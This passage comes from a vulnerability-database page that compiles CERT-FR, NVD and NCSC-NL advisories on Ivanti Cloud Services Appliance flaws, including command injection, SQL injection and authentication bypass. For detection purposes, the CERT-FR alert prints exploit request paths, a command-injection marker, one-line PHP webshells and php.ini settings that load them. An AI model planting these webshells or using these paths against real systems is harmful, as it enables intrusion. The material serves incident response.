      "url": "https://www.cve.org/CVERecord?id=CVE-2024-37404"
    },
    {
      "name": "CVE-2024-9381",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-9381"
    },
    {
      "name": "CVE-2024-9380",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-9380"
    },
    {
      "name": "CVE-2024-9379",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-9379"
    }
  ],
  "links": [],
  "reference": "CERTFR-2024-AVI-0851",
  "revisions": [
    {
      "description": "Version initiale",
      "revision_date": "2024-10-09T00:00:00.000000"
    }
  ],
  "risks": [
    {
      "description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
    },
    {
      "description": "Atteinte \u00e0 l\u0027int\u00e9grit\u00e9 des donn\u00e9es"
    },
    {
      "description": "Contournement de la politique de s\u00e9curit\u00e9"
    },
    {
      "description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
    }
  ],
  "summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans les produits Ivanti. Elles permettent \u00e0 un attaquant de provoquer une ex\u00e9cution de code arbitraire \u00e0 distance, une atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es et une atteinte \u00e0 l\u0027int\u00e9grit\u00e9 des donn\u00e9es.\n\nIvanti indique que les vuln\u00e9rabilit\u00e9s CVE-2024-9379 et CVE-2024-9380 sont activement exploit\u00e9es dans le cadre d\u0027attaques cibl\u00e9es, en combinaison avec la vuln\u00e9rabilit\u00e9 CVE-2024-8963.",
  "title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits Ivanti",
  "vendor_advisories": [
    {
      "published_at": "2024-10-07",
      "title": "Bulletin de s\u00e9curit\u00e9 Ivanti CVE-2024-7612",
      "url": "https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2024-7612"
    },
    {
      "published_at": "2024-10-08",
      "title": "Bulletin de s\u00e9curit\u00e9 Ivanti october-2024-security-update",
      "url": "https://www.ivanti.com/blog/october-2024-security-update"
    },
    {
      "published_at": "2024-10-08",
      "title": "Bulletin de s\u00e9curit\u00e9 Ivanti CVE-2024-37404",
      "url": "https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-and-Policy-Secure-CVE-2024-37404"
    },
    {
      "published_at": "2024-10-08",
      "title": "Bulletin de s\u00e9curit\u00e9 Ivanti CVE-2024-9379-CVE-2024-9380-CVE-2024-9381",
      "url": "https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-Cloud-Services-Appliance-CVE-2024-9379-CVE-2024-9380-CVE-2024-9381"
    }
  ]
}

FKIE_CVE-2024-9380

Vulnerability from fkie_nvd - Published: 2024-10-08 17:15 - Updated: 2025-10-24 13:55

Severity ?

7.2 (High) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
7.2 (High) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Summary

An OS command injection vulnerability in the admin web console of Ivanti CSA before version 5.0.2 allows a remote authenticated attacker with admin privileges to obtain remote code execution.

References

	URL	Tags
	3c1d8aa1-5a33-4ea4-8992-aadd6440af75	https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-Cloud-Services-Appliance-CVE-2024-9379-CVE-2024-9380-CVE-2024-9381	Vendor Advisory
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-9380	US Government Resource

Impacted products

	Vendor	Product	Version
	ivanti	endpoint_manager_cloud_services_appliance	*

JSON

To clipboard

{
  "cisaActionDue": "2024-10-30",
  "cisaExploitAdd": "2024-10-09",
  "cisaRequiredAction": "As Ivanti CSA 4.6.x has reached End-of-Life status, users are urged to remove CSA 4.6.x from service or upgrade to the 5.0.x line, or later, of supported solution.",
  "cisaVulnerabilityName": "Ivanti Cloud Services Appliance (CSA) OS Command Injection Vulnerability",
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:ivanti:endpoint_manager_cloud_services_appliance:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "B633ABF6-4CAD-462D-B6C9-F209D90EAFD9",
              "versionEndExcluding": "5.0.2",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "An OS command injection vulnerability in the admin web console of Ivanti CSA before version 5.0.2 allows a remote authenticated attacker with admin privileges to obtain remote code execution."
    },
    {
      "lang": "es",
      "value": "Una vulnerabilidad de inyecci\u00f3n de comandos del sistema operativo en la consola web de administraci\u00f3n de Ivanti CSA anterior a la versi\u00f3n 5.0.2 permite que un atacante remoto autenticado con privilegios de administrador obtenga la ejecuci\u00f3n remota de c\u00f3digo."
    }
  ],
  "id": "CVE-2024-9380",
  "lastModified": "2025-10-24T13:55:07.140",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.2,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.2,
        "impactScore": 5.9,
        "source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.2,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.2,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2024-10-08T17:15:56.970",
  "references": [
    {
      "source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75",
      "tags": [
        "Vendor Advisory"
      ],
      "url": "https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-Cloud-Services-Appliance-CVE-2024-9379-CVE-2024-9380-CVE-2024-9381"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "US Government Resource"
      ],
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-9380"
    }
  ],
  "sourceIdentifier": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-77"
        }
      ],
      "source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

NCSC-2024-0399

Vulnerability from csaf_ncscnl - Published: 2024-10-09 09:49 - Updated: 2024-10-09 09:49

Summary

Kwetsbaarheden verholpen in Ivanti Cloud Services Appliance

Notes

The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this page to enhance access to its information and security advisories. The use of this security advisory is subject to the following terms and conditions: NCSC-NL makes every reasonable effort to ensure that the content of this page is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or continuous keeping up-to-date. The information contained in this security advisory is intended solely for the purpose of providing general information to professional users. No rights can be derived from the information provided therein. NCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of this security advisory. This includes damage resulting from the inaccuracy of incompleteness of the information contained in the advisory. This security advisory is subject to Dutch law. All disputes related to or arising from the use of this advisory will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings.

Feiten

Ivanti heeft drie kwetsbaarheden verholpen in Cloud Services Appliance.

Interpretaties

Een geauthenticeerde kwaadwillende die reeds admin rechten bezit kan de kwetsbaarheden misbruiken om op afstand code en SQL statements uit te voeren, of middels path traversal restricties te omzeilen. Ivanti geeft aan bij gebruikers van versie 4.6 met patch 518 en lager, beperkte exploitatie van CVE-2024-9379 en CVE-2024-9380 in combinatie met CVE-2024-8963 te hebben waargenomen. Kwetsbaarheid CVE-2024-8963 is in latere versies verholpen en Ivanti heeft geen exploitatie waargenomen bij gebruikers vanaf versie 5.0.

Oplossingen

Ivanti heeft versie 5.0.2 uitgebracht om de kwetsbaarheden te verhelpen.

Kans

medium

Schade

high

CWE-77

Improper Neutralization of Special Elements used in a Command ('Command Injection')

CWE-89

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

CWE-22

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

JSON

To clipboard

{
  "document": {
    "category": "csaf_security_advisory",
    "csaf_version": "2.0",
    "distribution": {
      "tlp": {
        "label": "WHITE"
      }
    },
    "lang": "nl",
    "notes": [
      {
        "category": "legal_disclaimer",
        "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this page to enhance access to its information and security advisories. The use of this security advisory is subject to the following terms and conditions:\n\n    NCSC-NL makes every reasonable effort to ensure that the content of this page is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or continuous keeping up-to-date. The information contained in this security advisory is intended solely for the purpose of providing general information to professional users. No rights can be derived from the information provided therein.\n\n    NCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of this security advisory. This includes damage resulting from the inaccuracy of incompleteness of the information contained in the advisory.\n    This security advisory is subject to Dutch law. All disputes related to or arising from the use of this advisory will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
      },
      {
        "category": "description",
        "text": "Ivanti heeft drie kwetsbaarheden verholpen in Cloud Services Appliance.",
        "title": "Feiten"
      },
      {
        "category": "description",
        "text": "Een geauthenticeerde kwaadwillende die reeds admin rechten bezit kan de kwetsbaarheden misbruiken om op afstand code en SQL statements uit te voeren, of middels path traversal restricties te omzeilen.\n\nIvanti geeft aan bij gebruikers van versie 4.6 met patch 518 en lager, beperkte exploitatie van CVE-2024-9379 en CVE-2024-9380 in combinatie met CVE-2024-8963 te hebben waargenomen. Kwetsbaarheid CVE-2024-8963 is in latere versies verholpen en Ivanti heeft geen exploitatie waargenomen bij gebruikers vanaf versie 5.0.",
        "title": "Interpretaties"
      },
      {
        "category": "description",
        "text": "Ivanti heeft versie 5.0.2 uitgebracht om de kwetsbaarheden te verhelpen. ",
        "title": "Oplossingen"
      },
      {
        "category": "general",
        "text": "medium",
        "title": "Kans"
      },
      {
        "category": "general",
        "text": "high",
        "title": "Schade"
      },
      {
        "category": "general",
        "text": "Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027)",
        "title": "CWE-77"
      },
      {
        "category": "general",
        "text": "Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027)",
        "title": "CWE-89"
      },
      {
        "category": "general",
        "text": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
        "title": "CWE-22"
      }
    ],
    "publisher": {
      "category": "coordinator",
      "contact_details": "cert@ncsc.nl",
      "name": "Nationaal Cyber Security Centrum",
      "namespace": "https://www.ncsc.nl/"
    },
    "references": [
      {
        "category": "external",
        "summary": "Reference - cveprojectv5; nvd",
        "url": "https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-Cloud-Services-Appliance-CVE-2024-9379-CVE-2024-9380-CVE-2024-9381"
      }
    ],
    "title": "Kwetsbaarheden verholpen in Ivanti Cloud Services Appliance",
    "tracking": {
      "current_release_date": "2024-10-09T09:49:35.398654Z",
      "id": "NCSC-2024-0399",
      "initial_release_date": "2024-10-09T09:49:35.398654Z",
      "revision_history": [
        {
          "date": "2024-10-09T09:49:35.398654Z",
          "number": "0",
          "summary": "Initiele versie"
        }
      ],
      "status": "final",
      "version": "1.0.0"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "category": "product_name",
            "name": "cloud_services_appliance",
            "product": {
              "name": "cloud_services_appliance",
              "product_id": "CSAFPID-1667366",
              "product_identification_helper": {
                "cpe": "cpe:2.3:a:ivanti:cloud_services_appliance:5.0.1:*:*:*:*:*:*:*"
              }
            }
          },
          {
            "category": "product_name",
            "name": "cloud_services_appliance",
            "product": {
              "name": "cloud_services_appliance",
              "product_id": "CSAFPID-1667365",
              "product_identification_helper": {
                "cpe": "cpe:2.3:a:ivanti:cloud_services_appliance:5.0:*:*:*:*:*:*:*"
              }
            }
          },
          {
            "category": "product_name",
            "name": "endpoint_manager_cloud_services_appliance",
            "product": {
              "name": "endpoint_manager_cloud_services_appliance",
              "product_id": "CSAFPID-1667099",
              "product_identification_helper": {
                "cpe": "cpe:2.3:a:ivanti:endpoint_manager_cloud_services_appliance:5.0.1:*:*:*:*:*:*:*"
              }
            }
          }
        ],
        "category": "vendor",
        "name": "ivanti"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2024-9381",
      "cwe": {
        "id": "CWE-22",
        "name": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)"
      },
      "notes": [
        {
          "category": "other",
          "text": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
          "title": "CWE-22"
        }
      ],
      "references": [
        {
          "category": "self",
          "summary": "CVE-2024-9381",
          "url": "https://api.ncsc.nl/velma/v1/vulnerabilities/2024/CVE-2024-9381.json"
        }
      ],
      "title": "CVE-2024-9381"
    },
    {
      "cve": "CVE-2024-9380",
      "cwe": {
        "id": "CWE-77",
        "name": "Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027)"
      },
      "notes": [
        {
          "category": "other",
          "text": "Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027)",
          "title": "CWE-77"
        }
      ],
      "references": [
        {
          "category": "self",
          "summary": "CVE-2024-9380",
          "url": "https://api.ncsc.nl/velma/v1/vulnerabilities/2024/CVE-2024-9380.json"
        }
      ],
      "title": "CVE-2024-9380"
    },
    {
      "cve": "CVE-2024-9379",
      "cwe": {
        "id": "CWE-89",
        "name": "Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027)"
      },
      "notes": [
        {
          "category": "other",
          "text": "Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027)",
          "title": "CWE-89"
        }
      ],
      "references": [
        {
          "category": "self",
          "summary": "CVE-2024-9379",
          "url": "https://api.ncsc.nl/velma/v1/vulnerabilities/2024/CVE-2024-9379.json"
        }
      ],
      "title": "CVE-2024-9379"
    }
  ]
}

CERTFR-2024-ALE-013

Vulnerability from certfr_alerte - Published: 2025-03-31 - Updated: 2025-03-31

Ivanti a publié plusieurs avis de sécurité sur des vulnérabilités affectant CSA qui sont activement exploitées : * le 10 septembre 2024, Ivanti a publié un avis de sécurité concernant la vulnérabilité CVE-2024-8190 qui permet à un attaquant, authentifié en tant qu'administrateur, d'exécuter du code arbitraire à distance sur un équipement CSA ; * le 13 septembre 2024, l'éditeur a ajouté que cette vulnérabilité était activement exploitée dans le cadre d'attaques ciblées ; * le 16 septembre 2024, le CERT-FR a eu connaissance de codes d'exploitation publics pour la vulnérabilité CVE-2024-8190 ; * le 19 septembre 2024, Ivanti a publié un nouvel avis de sécurité affectant CSA. La vulnérabilité CVE-2024-8963 permet à un attaquant non authentifié de contourner l'authentification et d'obtenir les droits administrateur ; * le 8 octobre 2024, Ivanti a publié un nouvel avis de sécurité affectant les CSA versions 5.0.1 et antérieures. Les vulnérabilités CVE-2024-9379 et CVE-2024-9380, combinées à la vulnérabilité CVE-2024-8963 présente sur les CSA versions 4.6 antérieures au correctif 519, permettent d’exécuter du code arbitraire à distance ; * le 11 octobre 2024 l'éditeur Fortinet a publié un billet de blogue [1] détaillant les exploitations constatées lors d'une opération de réponse à incidents.

L'éditeur a précisé que les vulnérabilités CVE-2024-8190 et CVE-2024-8963 étaient activement exploitées et a connaissance d’un nombre limité d’exploitations des vulnérabilités CVE-2024-9379 et CVE-2024-9380, combinées à la vulnérabilité CVE-2024-8963 sur les CSA en versions antérieures à 5.0 uniquement.

Le CERT-FR a connaissance de plusieurs compromissions dans lesquelles ces vulnérabilités ont été exploitées.

Recherche de compromission

Des traces d’exploitation sont identifiables dans les journaux /var/log/messages-<date>.tar.gz ou dans des journaux de reverse-proxy en privilégiant la période du 4 au 15 septembre 2024 : 1. requête HTTP GET vers l'URL /client/index.php%3F.php/gsb/users.php (CVE-2024-8963). Les attaquants peuvent utiliser des moyens d’obscurcissement pour contourner ce motif de détection ; 2. suivie d'une requête HTTP POST vers l'URL /gsb/datetime.php (CVE-2024-8190) ; 3. présence de PGPASSWORD pouvant indiquer une manipulation de la base de donnée contenant les informations de connexion ; 4. présence d'une requête contenant tripwire --update ; indiquant une injection de commandes au travers de la page reports.php.

Dans /var/log/messages* et /var/log/secure*, des traces d’exécutions de commandes malveillantes peuvent être identifiées : * base64 -d * tripwire –-update ; <injection de commande>

L'attaquant peut également utiliser des webshells situées dans le dossier /opt/landesk contenant uniquement l’une des deux lignes suivantes : * <?php @eval($_REQUEST[<variable>]); ?> * <?php system('/bin/sudo '. $_REQUEST[<variable>]);

Il existe également des combinaisons de ces deux lignes (sans le ?> final, avec ou sans guillemet autour de la variable, etc.). Les dates de dernière modification et de création de ces fichiers peuvent avoir été manipulées.

De plus, des indicateurs de compromission peuvent parfois être observés à la fin du fichier /etc/php.ini : * allow_url_include = On * auto_prepend_file = "data:;base64,<webshell encodé>"

Le CERT-FR recommande par ailleurs de chercher les indicateurs de compromission présentés dans l'article de Fortinet [1].

L'URL permettant d'exploiter la vulnérabilité CVE-2024-8963 a été massivement requêtée. Sa seule présence dans les journaux d'activité n'est donc pas nécessairement révélatrice d'une action malveillante. Il est néanmoins nécessaire de suivre les étapes 4 à 6 présentes dans la section Solution.

Solution

La version 5.0.2 de CSA corrige l'ensemble des vulnérabilités présentées. La version 4.6 n'est plus supportée par l'éditeur et ce dernier recommande de mettre à jour vers la version 5.0.2. L’éditeur recommande l’utilisation de deux interfaces réseau, en utilisant eth0 uniquement pour le réseau interne.

Si vous êtes en présence d'un CSA qui était en version 4.6 et accessible depuis Internet en septembre ou octobre 2024, il est impératif d’effectuer une recherche de traces d’exploitation de vulnérabilité sur l’équipement ou la machine virtuelle, ainsi que de tentatives de latéralisation.

En cas de compromission ou suspicion de compromission :

isoler les équipements compromis du réseau et réaliser un gel de données (instantané pour les machines virtuelles, isolement de l’équipement s’il s’agit d’un équipement physique) à des fins d’investigations approfondies ;
signaler l’événement auprès du CERT-FR en mettant en copie vos éventuels CSIRTs métier ;
reconstruire la solution CSA en version 5.0.2 et son système d’exploitation sur lequel il repose à partir de source éditeur. L'attaquant peut déposer un implant qui ne sera pas supprimé avec la simple réinstallation de l'application ;
réinitialiser tous les secrets de façon générale (mot de passe, certificat, etc.) configurés sur les équipements affectés ;
réinitialiser tous les secrets d’authentification susceptibles d’avoir transités sur les équipements affectés (si applicable) ;
vérifier que l'ensemble des utilisateurs du système sont légitimes ;
rechercher toutes traces de latéralisation sur le reste du système d’information, notamment :
- en cherchant les connexions ou tentatives de connexion vers Internet depuis l'équipement compromis ;
- puis en cherchant ces adresses IP de destination pour vérifier si d’autres machines ont tenté une connexion ;
- en analysant les journaux des EDR ou les journaux Windows pour identifier des connexions depuis l'équipement compromis.
identifier les comptes du domaine Active Directory qui seraient configurés sur l'équipement suspecté puis :
- vérifier l'activité réalisée à partir de ce compte ;
- réinitialiser les secrets associés à ces comptes afin d'éviter que l'attaquant ne puisse réutiliser ailleurs les identifiants éventuellement obtenus sur l'équipement.

Le CERT-FR vous recontactera si nécessaire pour le traitement de l’incident ou vous communiquera des éléments supplémentaires. En cas de suspicion de compromission, il est recommandé de consulter les bons réflexes en cas d'intrusion sur votre système d'information [2], ainsi que les fiches réflexe sur la compromission système [3] [4].

Une chaine d’exploitation complète est connue pour les produits Ivanti Cloud Services Appliance de versions antérieures à 5.0, notamment les versions 4.6 n’ayant pas appliqué le correctif 519. Les vulnérabilités CVE-2024-8190, CVE-2024-8963 et CVE-2024-9380 ont été exploitées avant la publication de ce correctif. Le CERT-FR n’a pas connaissance d’une chaine d’exploitation impactant les versions 5.0.x.

Impacted products

	Vendor	Product	Description
	Ivanti	Cloud Service Appliance (CSA)	Ivanti Cloud Services Appliance (CSA) versions antérieures à 5.0.2

References

Title

Publication Time

Tags

Bulletin de sécurité Ivanti	2024-10-10	vendor-advisory
Bulletin de sécurité Ivanti	2024-09-19	vendor-advisory
Bulletin de sécurité Ivanti	2024-09-10	vendor-advisory
[2] Les bons réflexes en cas d’intrusion sur un système d’information	-	other
[4] Fiche réflexe Compromission système - Endiguement	-	other
[3] Fiche réflexe Compromission système - Qualification	-	other
Avis CERTFR-2024-AVI-0851 du 09 octobre 2024	-	other
Bulletin d'actualité CERTFR-2024-ACT-045 du 14 octobre 2024	-	other
Avis CERTFR-2024-AVI-0796 du 20 septembre 2024	-	other
[1] Billet de blogue de FortiGuard Labs Threat Research du 11 octobre 2024	-	other

Show details on source website

JSON

To clipboard

{
  "$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
  "affected_systems": [
    {
      "description": "Ivanti Cloud Services Appliance (CSA) versions ant\u00e9rieures \u00e0 5.0.2",
      "product": {
        "name": "Cloud Service Appliance (CSA)",
        "vendor": {
          "name": "Ivanti",
          "scada": false
        }
      }
    }
  ],
  "affected_systems_content": "Une chaine d\u2019exploitation compl\u00e8te est connue pour les produits Ivanti Cloud Services Appliance de versions ant\u00e9rieures \u00e0 5.0, notamment les versions 4.6 n\u2019ayant pas appliqu\u00e9 le correctif 519.\nLes vuln\u00e9rabilit\u00e9s CVE-2024-8190, CVE-2024-8963 et CVE-2024-9380 ont \u00e9t\u00e9 exploit\u00e9es avant la publication de ce correctif.\nLe CERT-FR n\u2019a pas connaissance d\u2019une chaine d\u2019exploitation impactant les versions 5.0.x.",
  "closed_at": "2025-03-31",
  "content": "## Recherche de compromission\n\nDes traces d\u2019exploitation sont identifiables dans les journaux `/var/log/messages-\u003cdate\u003e.tar.gz` ou dans des journaux de reverse-proxy en privil\u00e9giant la p\u00e9riode du 4 au 15 septembre 2024 :\n1. requ\u00eate HTTP GET vers l\u0027URL `/client/index.php%3F.php/gsb/users.php` (CVE-2024-8963). Les attaquants peuvent utiliser des moyens d\u2019obscurcissement pour contourner ce motif de d\u00e9tection ; \n2. suivie d\u0027une requ\u00eate HTTP POST vers l\u0027URL `/gsb/datetime.php` (CVE-2024-8190) ;\n3. pr\u00e9sence de `PGPASSWORD` pouvant indiquer une manipulation de la base de donn\u00e9e contenant les informations de connexion ;\n4. pr\u00e9sence d\u0027une requ\u00eate contenant `tripwire --update ;` indiquant une injection de commandes au travers de la page `reports.php`.\n\nDans `/var/log/messages*` et `/var/log/secure*`, des traces d\u2019ex\u00e9cutions de commandes malveillantes peuvent \u00eatre identifi\u00e9es :\n* `base64 -d`\n* `tripwire \u2013-update ; \u003cinjection de commande\u003e`\n\nL\u0027attaquant peut \u00e9galement utiliser des *webshells* situ\u00e9es dans le dossier `/opt/landesk` contenant uniquement l\u2019une des deux lignes suivantes :\n* `\u003c?php @eval($_REQUEST[\u003cvariable\u003e]);  ?\u003e`\n* `\u003c?php system(\u0027/bin/sudo \u0027. $_REQUEST[\u003cvariable\u003e]);`\n\nIl existe \u00e9galement des combinaisons de ces deux lignes (sans le  `?\u003e` final, avec ou sans guillemet autour de la variable, etc.). Les dates de derni\u00e8re modification et de cr\u00e9ation de ces fichiers peuvent avoir \u00e9t\u00e9 manipul\u00e9es. \n\nDe plus, des indicateurs de compromission peuvent parfois \u00eatre observ\u00e9s \u00e0 la fin du fichier `/etc/php.ini` :\n* `allow_url_include = On`\n* `auto_prepend_file = \"data:;base64,\u003cwebshell encod\u00e9\u003e\"`\n\nLe CERT-FR recommande par ailleurs de chercher les indicateurs de compromission pr\u00e9sent\u00e9s dans l\u0027article de Fortinet [1].\n\nL\u0027URL permettant d\u0027exploiter la vuln\u00e9rabilit\u00e9 CVE-2024-8963 a \u00e9t\u00e9 massivement requ\u00eat\u00e9e. Sa seule pr\u00e9sence dans les journaux d\u0027activit\u00e9 n\u0027est donc pas n\u00e9cessairement r\u00e9v\u00e9latrice d\u0027une action malveillante. Il est n\u00e9anmoins n\u00e9cessaire de suivre les \u00e9tapes 4 \u00e0 6 pr\u00e9sentes dans la section Solution. \n\n## Solution \n\nLa version 5.0.2 de CSA corrige l\u0027ensemble des vuln\u00e9rabilit\u00e9s pr\u00e9sent\u00e9es. La version 4.6 n\u0027est plus support\u00e9e par l\u0027\u00e9diteur et ce dernier recommande de mettre \u00e0 jour vers la version 5.0.2. L\u2019\u00e9diteur recommande l\u2019utilisation de deux interfaces r\u00e9seau, en utilisant `eth0` uniquement pour le r\u00e9seau interne.\n\nSi vous \u00eates en pr\u00e9sence d\u0027un CSA qui \u00e9tait en version 4.6 et accessible depuis Internet en septembre ou octobre 2024, il est imp\u00e9ratif d\u2019effectuer une recherche de traces d\u2019exploitation de vuln\u00e9rabilit\u00e9 sur l\u2019\u00e9quipement ou la machine virtuelle, ainsi que de tentatives de lat\u00e9ralisation.\n\nEn cas de compromission ou suspicion de compromission :\n\n1. isoler les \u00e9quipements compromis du r\u00e9seau et r\u00e9aliser un gel de donn\u00e9es (instantan\u00e9 pour les machines virtuelles, isolement de l\u2019\u00e9quipement s\u2019il s\u2019agit d\u2019un \u00e9quipement physique) \u00e0 des fins d\u2019investigations approfondies ;\n2. signaler l\u2019\u00e9v\u00e9nement aupr\u00e8s du CERT-FR en mettant en copie vos \u00e9ventuels CSIRTs m\u00e9tier ; \n3. reconstruire la solution CSA en version 5.0.2 et son syst\u00e8me d\u2019exploitation sur lequel il repose \u00e0 partir de source \u00e9diteur. L\u0027attaquant peut d\u00e9poser un implant qui ne sera pas supprim\u00e9 avec la simple r\u00e9installation de l\u0027application ;\n4. r\u00e9initialiser tous les secrets de fa\u00e7on g\u00e9n\u00e9rale (mot de passe, certificat, etc.) configur\u00e9s sur les \u00e9quipements affect\u00e9s ; \n5. r\u00e9initialiser tous les secrets d\u2019authentification susceptibles d\u2019avoir transit\u00e9s sur les \u00e9quipements affect\u00e9s (si applicable) ;\n6. v\u00e9rifier que l\u0027ensemble des utilisateurs du syst\u00e8me sont l\u00e9gitimes ; \n7. rechercher toutes traces de lat\u00e9ralisation sur le reste du syst\u00e8me d\u2019information, notamment :\n    * en cherchant les connexions ou tentatives de connexion vers Internet depuis l\u0027\u00e9quipement compromis ;\n    * puis en cherchant ces adresses IP de destination pour v\u00e9rifier si d\u2019autres machines ont tent\u00e9 une connexion ;\n    * en analysant les journaux des EDR ou les journaux Windows pour identifier des connexions depuis l\u0027\u00e9quipement compromis. \n8. identifier les comptes du domaine Active Directory qui seraient configur\u00e9s sur l\u0027\u00e9quipement suspect\u00e9 puis :\n    * v\u00e9rifier l\u0027activit\u00e9 r\u00e9alis\u00e9e \u00e0 partir de ce compte ;\n    * r\u00e9initialiser les secrets associ\u00e9s \u00e0 ces comptes afin d\u0027\u00e9viter que l\u0027attaquant ne puisse r\u00e9utiliser ailleurs les identifiants \u00e9ventuellement obtenus sur l\u0027\u00e9quipement.\n\nLe CERT-FR vous recontactera si n\u00e9cessaire pour le traitement de l\u2019incident ou vous communiquera des \u00e9l\u00e9ments suppl\u00e9mentaires. En cas de suspicion de compromission, il est recommand\u00e9 de consulter les [bons r\u00e9flexes en cas d\u0027intrusion sur votre syst\u00e8me d\u0027information](https://www.cert.ssi.gouv.fr/les-bons-reflexes-en-cas-dintrusion-sur-un-systeme-dinformation/) [2], ainsi que les fiches r\u00e9flexe sur la compromission syst\u00e8me [3] [4]. \n",
  "cves": [
    {
      "name": "CVE-2024-9380",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-9380"
    },
    {
      "name": "CVE-2024-8963",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-8963"
    },
    {
      "name": "CVE-2024-8190",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-8190"
    }
  ],
  "initial_release_date": "2025-03-31T00:00:00",
  "last_revision_date": "2025-03-31T00:00:00",
  "links": [
    {
      "title": "[2] Les bons r\u00e9flexes en cas d\u2019intrusion sur un syst\u00e8me d\u2019information",
      "url": "https://www.cert.ssi.gouv.fr/les-bons-reflexes-en-cas-dintrusion-sur-un-systeme-dinformation/"
    },
    {
      "title": "[4] Fiche r\u00e9flexe Compromission syst\u00e8me - Endiguement",
      "url": "https://www.cert.ssi.gouv.fr/fiche/CERTFR-2024-RFX-006/"
    },
    {
      "title": "[3]\u00a0Fiche r\u00e9flexe Compromission syst\u00e8me - Qualification",
      "url": "https://www.cert.ssi.gouv.fr/fiche/CERTFR-2024-RFX-005/"
    },
    {
      "title": "Avis CERTFR-2024-AVI-0851 du 09 octobre 2024",
      "url": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2024-AVI-0851/"
    },
    {
      "title": "Bulletin d\u0027actualit\u00e9 CERTFR-2024-ACT-045 du 14 octobre 2024",
      "url": "https://www.cert.ssi.gouv.fr/actualite/CERTFR-2024-ACT-045/"
    },
    {
